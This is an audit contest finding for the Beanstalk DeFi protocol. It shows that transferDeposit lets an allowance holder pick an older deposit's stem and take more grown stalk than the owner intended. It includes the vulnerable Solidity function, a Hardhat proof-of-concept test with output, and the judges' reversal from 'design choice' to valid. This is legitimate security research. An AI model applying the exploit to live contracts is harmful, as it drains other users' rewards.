Beanstalk: The Finale
Beanstalk
DeFiHardhatFoundry
250,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

In `transferDeposit` the recipient is able to change the stem to a value to take higher grown stalks from the sender

fyamf

Summary

When granting an allowance to a user, only the token amount is specified, not the stem. However, during a transferDeposit operation, the recipient has the option to include the stem. This allows the recipient to access the sender's grown stalks linked to older deposits (with a lower stem), leading to the transfer of a greater quantity of grown stalks to the recipient.

Vulnerability Details

  • Suppose Alice has deposited 1000e6 beans in season 1.

  • In season 1001 (after 1000 hours), Alice deposits another 500e6 beans.

  • In this season, Alice gives an allowance of 500e6 to Bob.

  • Bob notices that Alice had a deposit in season 1, so the amount of grown stalks associated with that deposit is much higher than the grown stalks associated with the deposit in season 1001.

  • Bob calls transferDeposit with the following parameters:

    • sender: Alice

    • recipient: Bob

    • token: BEAN

    • stem: stem at season 1 instead of 1001

    • amount: 500e6

As a result, a deposit of 500e6 beans will be transferred to Bob. Additionally, all the grown stalks associated with the 500e6 deposit from season 1 will also be transferred to Bob.

While, if Bob used the stem from season 1001 as the stem parameter in the transferDeposit function, no grown stalks would be allocated to him, since no stalks have yet grown from Alice's second deposit.

function transferDeposit(
address sender,
address recipient,
address token,
int96 stem,
uint256 amount
) public payable fundsSafu noNetFlow noSupplyChange nonReentrant returns (uint256 _bdv) {
if (sender != LibTractor._user()) {
LibSiloPermit._spendDepositAllowance(sender, LibTractor._user(), token, amount);
}
LibSilo._mow(sender, token);
// Need to update the recipient's Silo as well.
LibSilo._mow(recipient, token);
_bdv = _transferDeposit(sender, recipient, token, stem, amount);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/SiloFacet/SiloFacet.sol#L134

Test Case

The following test implements the scenario explained above. It shows that the grown stalks allocated to Bob is 6000000000000 which is decreased from Alice's.

const { expect } = require("chai");
const { deploy } = require("../scripts/deploy.js");
const { getAllBeanstalkContracts } = require("../utils/contracts.js");
const { EXTERNAL } = require("./utils/balances.js");
const { to18, to6, toStalk, toBN } = require("./utils/helpers.js");
const { BEAN, ZERO_ADDRESS } = require("./utils/constants.js");
const { takeSnapshot, revertToSnapshot } = require("./utils/snapshot.js");
const { initalizeUsersForToken, endGermination } = require("./utils/testHelpers.js");
const axios = require("axios");
const fs = require("fs");
const { impersonateBeanWstethWell } = require("../utils/well.js");
​
let user, user2, owner;
​
describe("newSilo", function () {
before(async function () {
[owner, user, user2, user3, user4] = await ethers.getSigners();
const contracts = await deploy((verbose = false), (mock = true), (reset = true));
​
// `beanstalk` contains all functions that the regualar beanstalk has.
// `mockBeanstalk` has functions that are only available in the mockFacets.
[beanstalk, mockBeanstalk] = await getAllBeanstalkContracts(contracts.beanstalkDiamond.address);
​
// initalize users - mint bean and approve beanstalk to use all beans.
await initalizeUsersForToken(BEAN, [user, user2, user3, user4], to6("10000"));
​
});
​
beforeEach(async function () {
snapshotId = await takeSnapshot();
});
​
afterEach(async function () {
await revertToSnapshot(snapshotId);
});
​
​
describe("Transfer From", function () {
it("transfer from with high grown stalks", async function () {
// user is Alice
// user2 is Bob
console.log("Alice's first deposit in season: ", await beanstalk.season());
​
const AliceFirstDepositedAmount = to6("1000");
const AliceSecondDepositedAmount = to6("500");
​
// Alice's first deposit
const return1 = await beanstalk.connect(user).callStatic.deposit(BEAN, AliceFirstDepositedAmount, EXTERNAL);
const AliceFirstDepositStem = return1[2];
await beanstalk.connect(user).deposit(BEAN, AliceFirstDepositedAmount, EXTERNAL);
​
// 1000 seasons are elapsed
for (let i = 0; i < 1000; i++) {
await mockBeanstalk.siloSunrise(to6("0"));
}
​
console.log("Alice's second deposit in season: ", await beanstalk.season());
​
// Alice's second deposit
const return2 = await beanstalk.connect(user).callStatic.deposit(BEAN, AliceSecondDepositedAmount, EXTERNAL);
const AliceSecondDepositStem = return2[2];
await beanstalk.connect(user).deposit(BEAN, AliceSecondDepositedAmount, EXTERNAL);
​
console.log("Alice's balanceOfStalk before Bob uses the allowance: ", await beanstalk.balanceOfStalk(user.address));
​
// Alice gives and allowance to Bob
await beanstalk.connect(user).approveDeposit(user2.address, BEAN, AliceSecondDepositedAmount);
​
// Bob transfers deposit from Alice to himself related to the Alice's first deposit instead of the Alice's second deposit
await beanstalk.connect(user2).transferDeposit(user.address, user2.address, BEAN, AliceFirstDepositStem, AliceSecondDepositedAmount);
​
console.log("Alice's balanceOfStalk after Bob uses the allowance: ", await beanstalk.balanceOfStalk(user.address));
console.log("Bob's balanceOfStalk after using the allowance: ", await beanstalk.balanceOfStalk(user2.address));
​
});
​
​
});
​
​
});
​

The output is:

Alice's first deposit in season: 1
Alice's second deposit in season: 1001
Alice's balanceOfStalk before Bob uses the allowance: BigNumber { value: "12000000000000" }
Alice's balanceOfStalk after Bob uses the allowance: BigNumber { value: "6000000000000" }
Bob's balanceOfStalk after using the allowance: BigNumber { value: "6000000000000" }

Impact

The recipient of a transferDeposit can take the large amount of grown stalks from the sender that is not expected by the sender.

Tools Used

Recommendations

It is recommended that when transferDeposit is called to transfer from the sender to the recipient, the function should automatically review all of the sender's deposits and select the most recent ones that have a sufficient amount (greater than or equal to the transferring amount). This way, the deposit with the fewest associated grown stalks will be used for the deduction, resulting in fewer grown stalks being transferred from the sender to the recipient.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

When granting an allowance to a user, only the token amount is specified, not the `stem`. However, during a `transferDeposit` operation, the recipient has the option to include the `stem`.

The person receiving the allowance could specify the stem of a more valuable deposit, thing that might not be intended by the person giving the allowance.

Appeal created

fyamf Submitter
over 1 year ago
inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

When granting an allowance to a user, only the token amount is specified, not the `stem`. However, during a `transferDeposit` operation, the recipient has the option to include the `stem`.

The person receiving the allowance could specify the stem of a more valuable deposit, thing that might not be intended by the person giving the allowance.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.